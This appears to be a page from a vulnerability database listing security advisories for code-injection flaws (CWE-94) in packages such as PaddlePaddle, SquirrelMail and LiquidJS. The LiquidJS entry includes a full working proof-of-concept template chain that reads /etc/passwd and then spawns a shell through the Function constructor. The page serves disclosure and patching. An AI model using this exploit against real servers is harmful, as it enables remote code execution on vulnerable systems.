Common Weakness Enumeration
CWE-94
Allowed-with-ReviewImproper Control of Generation of Code ('Code Injection')
Abstraction: Base · Status: Draft
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
8268 vulnerabilities reference this CWE, most recent first.
GHSA-GCJF-29M9-888Q
Vulnerability from github – Published: 2022-12-07 09:30 – Updated: 2024-11-22 18:20
VLAI
Summary
PaddlePaddle vulnerable to Code Injection
Details
Code injection in paddle.audio.functional.get_window in PaddlePaddle 2.4.0-rc0 allows arbitrary code execution. A patch is available on the develop branch of the repository and anticipated to be part of a 2.4 release.
Severity
9.8 (Critical)
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "paddlepaddle"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.4.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-46742"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2022-12-07T14:55:31Z",
"nvd_published_at": "2022-12-07T09:15:00Z",
"severity": "CRITICAL"
},
"details": "Code injection in `paddle.audio.functional.get_window` in PaddlePaddle 2.4.0-rc0 allows arbitrary code execution. A [patch](https://github.com/PaddlePaddle/Paddle/commit/26c419ca386aeae3c461faf2b828d00b48e908eb) is available on the `develop` branch of the repository and anticipated to be part of a 2.4 release.",
"id": "GHSA-gcjf-29m9-888q",
"modified": "2024-11-22T18:20:03Z",
"published": "2022-12-07T09:30:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-46742"
},
{
"type": "WEB",
"url": "https://github.com/PaddlePaddle/Paddle/pull/47386"
},
{
"type": "WEB",
"url": "https://github.com/PaddlePaddle/Paddle/commit/26c419ca386aeae3c461faf2b828d00b48e908eb"
},
{
"type": "PACKAGE",
"url": "https://github.com/PaddlePaddle/Paddle"
},
{
"type": "WEB",
"url": "https://github.com/PaddlePaddle/Paddle/blob/develop/security/advisory/pdsa-2022-002.md"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/paddlepaddle/PYSEC-2022-43063.yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "PaddlePaddle vulnerable to Code Injection"
}
GHSA-GCM4-Q2PG-XW89
Vulnerability from github – Published: 2019-03-25 16:16 – Updated: 2024-09-23 16:03
VLAI
Summary
ipycache is vulnerable to Code Injection
Details
A code injection issue was discovered in ipycache versions up to 0.1.4.
Severity
9.6 (Critical)
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "ipycache"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.1.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2019-7539"
],
"database_specific": {
"cwe_ids": [
"CWE-502",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2020-06-16T21:36:49Z",
"nvd_published_at": "2019-03-21T21:29:00Z",
"severity": "CRITICAL"
},
"details": "A code injection issue was discovered in ipycache versions up to 0.1.4.",
"id": "GHSA-gcm4-q2pg-xw89",
"modified": "2024-09-23T16:03:52Z",
"published": "2019-03-25T16:16:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-7539"
},
{
"type": "WEB",
"url": "https://github.com/rossant/ipycache/issues/47"
},
{
"type": "WEB",
"url": "https://github.com/adi928/ipycache/commit/9cc7cb891ff169b3e8a6f5e84afd8238f566ad8e"
},
{
"type": "WEB",
"url": "https://github.com/adi928/ipycache/commit/c73a726744c90cc2cb200b159edbaf5deddcb753"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-gcm4-q2pg-xw89"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/ipycache/PYSEC-2019-180.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/rossant/ipycache"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
"type": "CVSS_V4"
}
],
"summary": "ipycache is vulnerable to Code Injection"
}
GHSA-GCV6-MMHW-GJQP
Vulnerability from github – Published: 2022-05-24 19:04 – Updated: 2023-08-02 00:30
VLAI
Details
Microsoft Outlook Remote Code Execution Vulnerability
Severity
7.3 (High)
{
"affected": [],
"aliases": [
"CVE-2021-31949"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-06-08T23:15:00Z",
"severity": "HIGH"
},
"details": "Microsoft Outlook Remote Code Execution Vulnerability",
"id": "GHSA-gcv6-mmhw-gjqp",
"modified": "2023-08-02T00:30:33Z",
"published": "2022-05-24T19:04:49Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-31949"
},
{
"type": "WEB",
"url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31949"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-GF2Q-C269-PQGC
Vulnerability from github – Published: 2026-05-27 18:24 – Updated: 2026-05-27 18:24
VLAI
Summary
LiquidJS is Vulnerable to Remote Code Execution
Details
Summary
It is possible to execute arbitrary code with crafted templates
Details
`1|valueOf` -> `this` when evaluating the filter{%assign r=1|valueOf%}
{{r|inspect}}
{"context":{"scopes":[{"r":"[Circular]"}],"registers":{},"breakCalled":false,"continueCalled":false,"sync":false,"opts":{"root":["."],"layouts":["."],"partials":["."],"relativeReference":true,"jekyllInclude":false,"keyValueSeparator":":","extname":"","fs":{"sep":"/"},"dynamicPartials":true,"jsTruthy":false,"dateFormat":"%A, %B %-e, %Y at %-l:%M %P %z","locale":"en-US","trimTagRight":false,"trimTagLeft":false,"trimOutputRight":false,"trimOutputLeft":false,"greedy":true,"tagDelimiterLeft":"{%","tagDelimiterRight":"%}","outputDelimiterLeft":"{{","outputDelimiterRight":"}}","preserveTimezones":false,"strictFilters":false,"strictVariables":false,"ownPropertyOnly":true,"lenientIf":false,"globals":{},"keepOutputType":false,"operators":{},"memoryLimit":null,"parseLimit":null,"renderLimit":null},"globals":{},"environments":{},"strictVariables":false,"ownPropertyOnly":true,"memoryLimit":{"base":0,"message":"memory alloc limit exceeded","limit":null},"renderLimit":{"base":0,"message":"template render limit exceeded","limit":null}},"token":{"kind":32,"input":"{%assign r=1|valueOf%}\n{{r|inspect}}","begin":13,"end":20,"name":"valueOf","args":[]},"liquid":{"renderer":{},"filters":{"raw":{"raw":true}},"tags":{},"options":{"root":["."],"layouts":["."],"partials":["."],"relativeReference":true,"jekyllInclude":false,"keyValueSeparator":":","extname":"","fs":{"sep":"/"},"dynamicPartials":true,"jsTruthy":false,"dateFormat":"%A, %B %-e, %Y at %-l:%M %P %z","locale":"en-US","trimTagRight":false,"trimTagLeft":false,"trimOutputRight":false,"trimOutputLeft":false,"greedy":true,"tagDelimiterLeft":"{%","tagDelimiterRight":"%}","outputDelimiterLeft":"{{","outputDelimiterRight":"}}","preserveTimezones":false,"strictFilters":false,"strictVariables":false,"ownPropertyOnly":true,"lenientIf":false,"globals":{},"keepOutputType":false,"operators":{},"memoryLimit":null,"parseLimit":null,"renderLimit":null},"parser":{"liquid":"[Circular]","fs":{"sep":"/"},"loader":{"options":{"root":["."],"layouts":["."],"partials":["."],"relativeReference":true,"jekyllInclude":false,"keyValueSeparator":":","extname":"","fs":{"sep":"/"},"dynamicPartials":true,"jsTruthy":false,"dateFormat":"%A, %B %-e, %Y at %-l:%M %P %z","locale":"en-US","trimTagRight":false,"trimTagLeft":false,"trimOutputRight":false,"trimOutputLeft":false,"greedy":true,"tagDelimiterLeft":"{%","tagDelimiterRight":"%}","outputDelimiterLeft":"{{","outputDelimiterRight":"}}","preserveTimezones":false,"strictFilters":false,"strictVariables":false,"ownPropertyOnly":true,"lenientIf":false,"globals":{},"keepOutputType":false,"operators":{},"memoryLimit":null,"parseLimit":null,"renderLimit":null}},"parseLimit":{"base":0,"message":"parse length limit exceeded","limit":null}}}}
import { Liquid } from "liquidjs";
const engine = new Liquid();
const storeFn = (dst, src) => {
const parts = src.split(".");
const path = parts.slice(0, -1).join(".");
const prop = parts.at(-1);
return `
{% assign _g = ${path}|group_by:"0"%}
{% assign _gs = _g | where:n,"${prop}"|first%}
{% assign ${dst} = _gs.items | first | last %}`;
};
const tpl = `
{% liquid
assign r = 1|valueOf
assign m = r.context.scopes|first
assign fs = r.liquid.options.fs
assign n = "name"%}
${storeFn("equals", "fs.readFileSync")}
${storeFn("gt", "fs.readFileSync")}
${storeFn("geq", "fs.readFileSync")}
${storeFn("lt", "fs.readFileSync")}
${storeFn("leq", "fs.readFileSync")}
{{m == "/etc/passwd"}}
`;
const v = await engine.parseAndRender(tpl, {});
console.log(v.trim());
import { Liquid } from "liquidjs";
const engine = new Liquid();
engine.registerFilter("log", (val) => console.dir(val, { depth: 1 }));
const tpl = `
{% liquid
assign r = 1|valueOf
assign m = r.context.scopes|first %}
{{m|log}}
{% assign __proto__ = r.liquid.parser %}
{{m|log}}
`;
const v = await engine.parseAndRender(tpl, {});
console.log(v.trim());
When calling functions via the comparable gadget, this will be the scope.
By overwriting this.loader.lookup and this.readFile, to fully control what goes into this.parse, and while controlling this, a reference to the Function constructor can be obtained, which then allows executing arbitrary code.
private * _parseFile (file: string, sync?: boolean, type: LookupType = LookupType.Root, currentFile?: string): Generator<unknown, Template[], string> {
const filepath = yield this.loader.lookup(file, type, sync, currentFile)
return this.parse(yield this.readFile(!!sync, filepath), filepath)
}
PoC
Complete instructions, including specific configuration details, to reproduce the vulnerability.
import { Liquid } from "liquidjs";
const engine = new Liquid();
const storeFn = (dst, src) => {
const parts = src.split(".");
const path = parts.slice(0, -1).join(".");
const prop = parts.at(-1);
return `
{% assign _g = ${path}|group_by:"0"%}
{% assign _gs = _g | where:n,"${prop}"|first%}
{% assign ${dst} = _gs.items | first | last %}`;
};
const tpl = `
{% liquid
assign r = 1|valueOf
assign m = r.context.scopes|first
assign l = r.liquid
assign p = l.parser
assign f = l.filters
assign n = "name"%}
${storeFn("equals", "p.parseFile")}
${storeFn("gt", "p.parseFile")}
${storeFn("geq", "p.parseFile")}
${storeFn("lt", "p.parseFile")}
${storeFn("leq", "p.parseFile")}
${storeFn("readFile", "f.default")}
${storeFn("lookup", "f.raw.handler")}
{% assign loader = m %}
{% assign context = m %}
{% assign opts = m %}
{% assign liquid = m %}
{% assign options = m %}
{% assign __proto__ = p %}
{% assign tagDelimiterLeft = n %}
{% assign tagDelimiterRight = n %}
{% assign outputDelimiterLeft = '[' %}
{% assign outputDelimiterRight = ']'%}
{# set to some some function, so that filters['constructor'] -> Function #}
${storeFn("filters", "f.raw.handler")}
{# store Function #}
{% assign output = m == "[0|constructor]" | first %}
{% assign val = output.value.filters|first %}
{# set scope.equals to Function #}
${storeFn("equals", "val.handler")}
{% assign RCE = m == "return process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'})" %}
{{RCE}}
`;
const v = await engine.parseAndRender(tpl, {});
console.log(v.trim());
Impact
What kind of vulnerability is it? Who is impacted? Remote Code Execution.
Severity
10.0 (Critical)
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "liquidjs"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "10.26.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-45618"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-27T18:24:14Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "### Summary\nIt is possible to execute arbitrary code with crafted templates\n\n\n### Details\n\n\u003cdetails\u003e\n\u003csummary\u003e\n `1|valueOf` -\u003e `this` when evaluating the filter\n\n\n\u003c/summary\u003e\n\n```liquid\n{%assign r=1|valueOf%}\n{{r|inspect}}\n```\n\n```json\n{\"context\":{\"scopes\":[{\"r\":\"[Circular]\"}],\"registers\":{},\"breakCalled\":false,\"continueCalled\":false,\"sync\":false,\"opts\":{\"root\":[\".\"],\"layouts\":[\".\"],\"partials\":[\".\"],\"relativeReference\":true,\"jekyllInclude\":false,\"keyValueSeparator\":\":\",\"extname\":\"\",\"fs\":{\"sep\":\"/\"},\"dynamicPartials\":true,\"jsTruthy\":false,\"dateFormat\":\"%A, %B %-e, %Y at %-l:%M %P %z\",\"locale\":\"en-US\",\"trimTagRight\":false,\"trimTagLeft\":false,\"trimOutputRight\":false,\"trimOutputLeft\":false,\"greedy\":true,\"tagDelimiterLeft\":\"{%\",\"tagDelimiterRight\":\"%}\",\"outputDelimiterLeft\":\"{{\",\"outputDelimiterRight\":\"}}\",\"preserveTimezones\":false,\"strictFilters\":false,\"strictVariables\":false,\"ownPropertyOnly\":true,\"lenientIf\":false,\"globals\":{},\"keepOutputType\":false,\"operators\":{},\"memoryLimit\":null,\"parseLimit\":null,\"renderLimit\":null},\"globals\":{},\"environments\":{},\"strictVariables\":false,\"ownPropertyOnly\":true,\"memoryLimit\":{\"base\":0,\"message\":\"memory alloc limit exceeded\",\"limit\":null},\"renderLimit\":{\"base\":0,\"message\":\"template render limit exceeded\",\"limit\":null}},\"token\":{\"kind\":32,\"input\":\"{%assign r=1|valueOf%}\\n{{r|inspect}}\",\"begin\":13,\"end\":20,\"name\":\"valueOf\",\"args\":[]},\"liquid\":{\"renderer\":{},\"filters\":{\"raw\":{\"raw\":true}},\"tags\":{},\"options\":{\"root\":[\".\"],\"layouts\":[\".\"],\"partials\":[\".\"],\"relativeReference\":true,\"jekyllInclude\":false,\"keyValueSeparator\":\":\",\"extname\":\"\",\"fs\":{\"sep\":\"/\"},\"dynamicPartials\":true,\"jsTruthy\":false,\"dateFormat\":\"%A, %B %-e, %Y at %-l:%M %P %z\",\"locale\":\"en-US\",\"trimTagRight\":false,\"trimTagLeft\":false,\"trimOutputRight\":false,\"trimOutputLeft\":false,\"greedy\":true,\"tagDelimiterLeft\":\"{%\",\"tagDelimiterRight\":\"%}\",\"outputDelimiterLeft\":\"{{\",\"outputDelimiterRight\":\"}}\",\"preserveTimezones\":false,\"strictFilters\":false,\"strictVariables\":false,\"ownPropertyOnly\":true,\"lenientIf\":false,\"globals\":{},\"keepOutputType\":false,\"operators\":{},\"memoryLimit\":null,\"parseLimit\":null,\"renderLimit\":null},\"parser\":{\"liquid\":\"[Circular]\",\"fs\":{\"sep\":\"/\"},\"loader\":{\"options\":{\"root\":[\".\"],\"layouts\":[\".\"],\"partials\":[\".\"],\"relativeReference\":true,\"jekyllInclude\":false,\"keyValueSeparator\":\":\",\"extname\":\"\",\"fs\":{\"sep\":\"/\"},\"dynamicPartials\":true,\"jsTruthy\":false,\"dateFormat\":\"%A, %B %-e, %Y at %-l:%M %P %z\",\"locale\":\"en-US\",\"trimTagRight\":false,\"trimTagLeft\":false,\"trimOutputRight\":false,\"trimOutputLeft\":false,\"greedy\":true,\"tagDelimiterLeft\":\"{%\",\"tagDelimiterRight\":\"%}\",\"outputDelimiterLeft\":\"{{\",\"outputDelimiterRight\":\"}}\",\"preserveTimezones\":false,\"strictFilters\":false,\"strictVariables\":false,\"ownPropertyOnly\":true,\"lenientIf\":false,\"globals\":{},\"keepOutputType\":false,\"operators\":{},\"memoryLimit\":null,\"parseLimit\":null,\"renderLimit\":null}},\"parseLimit\":{\"base\":0,\"message\":\"parse length limit exceeded\",\"limit\":null}}}}\n```\n\n\u003c/details\u003e\n\n\u003cdetails\u003e\n\u003csummary\u003e\nfunction calls with a controlled first argument via comprable\n\n\u003c/summary\u003e\n\n```js\nimport { Liquid } from \"liquidjs\";\n\nconst engine = new Liquid();\n\nconst storeFn = (dst, src) =\u003e {\n const parts = src.split(\".\");\n const path = parts.slice(0, -1).join(\".\");\n const prop = parts.at(-1);\n\n return `\n{% assign _g = ${path}|group_by:\"0\"%}\n{% assign _gs = _g | where:n,\"${prop}\"|first%}\n{% assign ${dst} = _gs.items | first | last %}`;\n};\n\nconst tpl = `\n{% liquid\nassign r = 1|valueOf\nassign m = r.context.scopes|first\nassign fs = r.liquid.options.fs\nassign n = \"name\"%}\n\n${storeFn(\"equals\", \"fs.readFileSync\")}\n${storeFn(\"gt\", \"fs.readFileSync\")}\n${storeFn(\"geq\", \"fs.readFileSync\")}\n${storeFn(\"lt\", \"fs.readFileSync\")}\n${storeFn(\"leq\", \"fs.readFileSync\")}\n\n{{m == \"/etc/passwd\"}}\n`;\n\nconst v = await engine.parseAndRender(tpl, {});\nconsole.log(v.trim());\n```\n\n\u003cimg width=\"1426\" height=\"717\" alt=\"image\" src=\"https://github.com/user-attachments/assets/0618eb81-fb0d-4100-a6a0-556982decf8a\" /\u003e\n\n\u003c/details\u003e\n\n\u003cdetails\u003e\u003csummary\u003echanging the prototype of things\u003c/summary\u003e\n\n```js\nimport { Liquid } from \"liquidjs\";\n\nconst engine = new Liquid();\n\nengine.registerFilter(\"log\", (val) =\u003e console.dir(val, { depth: 1 }));\n\nconst tpl = `\n{% liquid\nassign r = 1|valueOf\nassign m = r.context.scopes|first %}\n\n{{m|log}}\n{% assign __proto__ = r.liquid.parser %}\n{{m|log}}\n`;\n\nconst v = await engine.parseAndRender(tpl, {});\nconsole.log(v.trim());\n```\n\u003cimg width=\"723\" height=\"211\" alt=\"image\" src=\"https://github.com/user-attachments/assets/c05f4c4a-4151-4765-b569-3300ad837668\" /\u003e\n\n\u003c/details\u003e \n\nWhen calling functions via the comparable gadget, `this` will be the scope.\nBy overwriting `this.loader.lookup` and `this.readFile`, to fully control what goes into `this.parse`, and while controlling `this`, a reference to the `Function` constructor can be obtained, which then allows executing arbitrary code.\n\n```ts\n private * _parseFile (file: string, sync?: boolean, type: LookupType = LookupType.Root, currentFile?: string): Generator\u003cunknown, Template[], string\u003e {\n const filepath = yield this.loader.lookup(file, type, sync, currentFile)\n return this.parse(yield this.readFile(!!sync, filepath), filepath)\n }\n```\n\n### PoC\n_Complete instructions, including specific configuration details, to reproduce the vulnerability._\n\n```js\nimport { Liquid } from \"liquidjs\";\n\nconst engine = new Liquid();\n\nconst storeFn = (dst, src) =\u003e {\n const parts = src.split(\".\");\n const path = parts.slice(0, -1).join(\".\");\n const prop = parts.at(-1);\n\n return `\n{% assign _g = ${path}|group_by:\"0\"%}\n{% assign _gs = _g | where:n,\"${prop}\"|first%}\n{% assign ${dst} = _gs.items | first | last %}`;\n};\n\nconst tpl = `\n{% liquid\nassign r = 1|valueOf\nassign m = r.context.scopes|first\nassign l = r.liquid\nassign p = l.parser\nassign f = l.filters\nassign n = \"name\"%}\n\n${storeFn(\"equals\", \"p.parseFile\")}\n${storeFn(\"gt\", \"p.parseFile\")}\n${storeFn(\"geq\", \"p.parseFile\")}\n${storeFn(\"lt\", \"p.parseFile\")}\n${storeFn(\"leq\", \"p.parseFile\")}\n\n${storeFn(\"readFile\", \"f.default\")}\n${storeFn(\"lookup\", \"f.raw.handler\")}\n\n{% assign loader = m %}\n{% assign context = m %}\n{% assign opts = m %}\n{% assign liquid = m %}\n{% assign options = m %}\n{% assign __proto__ = p %}\n\n{% assign tagDelimiterLeft = n %}\n{% assign tagDelimiterRight = n %}\n{% assign outputDelimiterLeft = \u0027[\u0027 %}\n{% assign outputDelimiterRight = \u0027]\u0027%}\n\n{# set to some some function, so that filters[\u0027constructor\u0027] -\u003e Function #}\n${storeFn(\"filters\", \"f.raw.handler\")} \n\n{# store Function #}\n{% assign output = m == \"[0|constructor]\" | first %}\n{% assign val = output.value.filters|first %}\n\n{# set scope.equals to Function #}\n${storeFn(\"equals\", \"val.handler\")}\n{% assign RCE = m == \"return process.getBuiltinModule(\u0027child_process\u0027).execSync(\u0027sh\u0027,{stdio:\u0027inherit\u0027})\" %}\n{{RCE}}\n`;\n\nconst v = await engine.parseAndRender(tpl, {});\nconsole.log(v.trim());\n```\n\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\nRemote Code Execution.",
"id": "GHSA-gf2q-c269-pqgc",
"modified": "2026-05-27T18:24:14Z",
"published": "2026-05-27T18:24:14Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/harttle/liquidjs/security/advisories/GHSA-gf2q-c269-pqgc"
},
{
"type": "PACKAGE",
"url": "https://github.com/harttle/liquidjs"
},
{
"type": "WEB",
"url": "https://github.com/harttle/liquidjs/releases/tag/v10.26.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "LiquidJS is Vulnerable to Remote Code Execution"
}
GHSA-GF8M-2MWV-92MG
Vulnerability from github – Published: 2022-05-01 23:43 – Updated: 2022-05-01 23:43
VLAI
Details
PHP remote file inclusion vulnerability in modules/basicfog/basicfogfactory.class.php in PhpBlock A8.4 allows remote attackers to execute arbitrary PHP code via a URL in the PATH_TO_CODE parameter.
{
"affected": [],
"aliases": [
"CVE-2008-1776"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-04-14T16:05:00Z",
"severity": "MODERATE"
},
"details": "PHP remote file inclusion vulnerability in modules/basicfog/basicfogfactory.class.php in PhpBlock A8.4 allows remote attackers to execute arbitrary PHP code via a URL in the PATH_TO_CODE parameter.",
"id": "GHSA-gf8m-2mwv-92mg",
"modified": "2022-05-01T23:43:29Z",
"published": "2022-05-01T23:43:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-1776"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/41616"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/5348"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/28588"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-GFCC-X5PV-WRJH
Vulnerability from github – Published: 2022-05-01 23:36 – Updated: 2022-05-01 23:36
VLAI
Details
Eval injection vulnerability in modules/execute.php in the Sniplets 1.1.2 and 1.2.2 plugin for WordPress allows remote attackers to execute arbitrary PHP code via the text parameter.
{
"affected": [],
"aliases": [
"CVE-2008-1060"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-02-28T19:44:00Z",
"severity": "HIGH"
},
"details": "Eval injection vulnerability in modules/execute.php in the Sniplets 1.1.2 and 1.2.2 plugin for WordPress allows remote attackers to execute arbitrary PHP code via the text parameter.",
"id": "GHSA-gfcc-x5pv-wrjh",
"modified": "2022-05-01T23:36:21Z",
"published": "2022-05-01T23:36:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-1060"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/40831"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/5194"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/29099"
},
{
"type": "WEB",
"url": "http://securityreason.com/securityalert/3706"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/488734/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/27985"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-GFF5-24H3-HXCW
Vulnerability from github – Published: 2022-05-02 03:26 – Updated: 2022-05-02 03:26
VLAI
Details
The map_yp_alias function in functions/imap_general.php in SquirrelMail before 1.4.18 and NaSMail before 1.7 allows remote attackers to execute arbitrary commands via shell metacharacters in a username string that is used by the ypmatch program.
{
"affected": [],
"aliases": [
"CVE-2009-1579"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2009-05-14T17:30:00Z",
"severity": "MODERATE"
},
"details": "The map_yp_alias function in functions/imap_general.php in SquirrelMail before 1.4.18 and NaSMail before 1.7 allows remote attackers to execute arbitrary commands via shell metacharacters in a username string that is used by the ypmatch program.",
"id": "GHSA-gff5-24h3-hxcw",
"modified": "2022-05-02T03:26:31Z",
"published": "2022-05-02T03:26:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2009-1579"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=500360"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/50461"
},
{
"type": "WEB",
"url": "https://gna.org/forum/forum.php?forum_id=2146"
},
{
"type": "WEB",
"url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A10986"
},
{
"type": "WEB",
"url": "https://www.redhat.com/archives/fedora-package-announce/2009-May/msg00566.html"
},
{
"type": "WEB",
"url": "https://www.redhat.com/archives/fedora-package-announce/2009-May/msg00572.html"
},
{
"type": "WEB",
"url": "https://www.redhat.com/archives/fedora-package-announce/2009-May/msg00577.html"
},
{
"type": "WEB",
"url": "http://download.gna.org/nasmail/nasmail-1.7.zip"
},
{
"type": "WEB",
"url": "http://lists.apple.com/archives/security-announce/2010//Jun/msg00001.html"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/35052"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/35073"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/35140"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/35259"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/37415"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/40220"
},
{
"type": "WEB",
"url": "http://squirrelmail.svn.sourceforge.net/viewvc/squirrelmail/branches/SM-1_4-STABLE/squirrelmail/doc/ChangeLog"
},
{
"type": "WEB",
"url": "http://squirrelmail.svn.sourceforge.net/viewvc/squirrelmail/branches/SM-1_4-STABLE/squirrelmail/functions/imap_general.php?r1=13674\u0026r2=13673\u0026pathrev=13674"
},
{
"type": "WEB",
"url": "http://squirrelmail.svn.sourceforge.net/viewvc/squirrelmail?view=rev\u0026revision=13674"
},
{
"type": "WEB",
"url": "http://support.apple.com/kb/HT4188"
},
{
"type": "WEB",
"url": "http://www.debian.org/security/2009/dsa-1802"
},
{
"type": "WEB",
"url": "http://www.mandriva.com/security/advisories?name=MDVSA-2009:110"
},
{
"type": "WEB",
"url": "http://www.redhat.com/support/errata/RHSA-2009-1066.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/34916"
},
{
"type": "WEB",
"url": "http://www.squirrelmail.org/security/issue/2009-05-10"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2009/1296"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2009/3315"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2010/1481"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-GFH5-5Q87-HR66
Vulnerability from github – Published: 2026-06-01 21:30 – Updated: 2026-06-01 21:30
VLAI
Details
IBM WebSphere Application Server 9.0, and 8.5 is vulnerable to remote code execution caused by the bypass of security controls.
Severity
9.0 (Critical)
{
"affected": [],
"aliases": [
"CVE-2026-9311"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-01T19:16:55Z",
"severity": "CRITICAL"
},
"details": "IBM WebSphere Application Server 9.0, and 8.5 is vulnerable to remote code execution caused by the bypass of security controls.",
"id": "GHSA-gfh5-5q87-hr66",
"modified": "2026-06-01T21:30:44Z",
"published": "2026-06-01T21:30:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-9311"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7274733"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-GFH7-3MX2-9P35
Vulnerability from github – Published: 2023-10-10 03:30 – Updated: 2024-04-04 08:26
VLAI
Details
An issue in SeaCMS v.12.8 allows an attacker to execute arbitrary code via the admin_ Weixin.php component.
Severity
7.2 (High)
{
"affected": [],
"aliases": [
"CVE-2023-44847"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-10-10T01:15:10Z",
"severity": "HIGH"
},
"details": "An issue in SeaCMS v.12.8 allows an attacker to execute arbitrary code via the admin_ Weixin.php component.",
"id": "GHSA-gfh7-3mx2-9p35",
"modified": "2024-04-04T08:26:48Z",
"published": "2023-10-10T03:30:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-44847"
},
{
"type": "WEB",
"url": "https://blog.csdn.net/2301_79997870/article/details/133661890?spm=1001.2014.3001.5502"
}
],
"schema_version": "1.4.0",
"severity": [
{
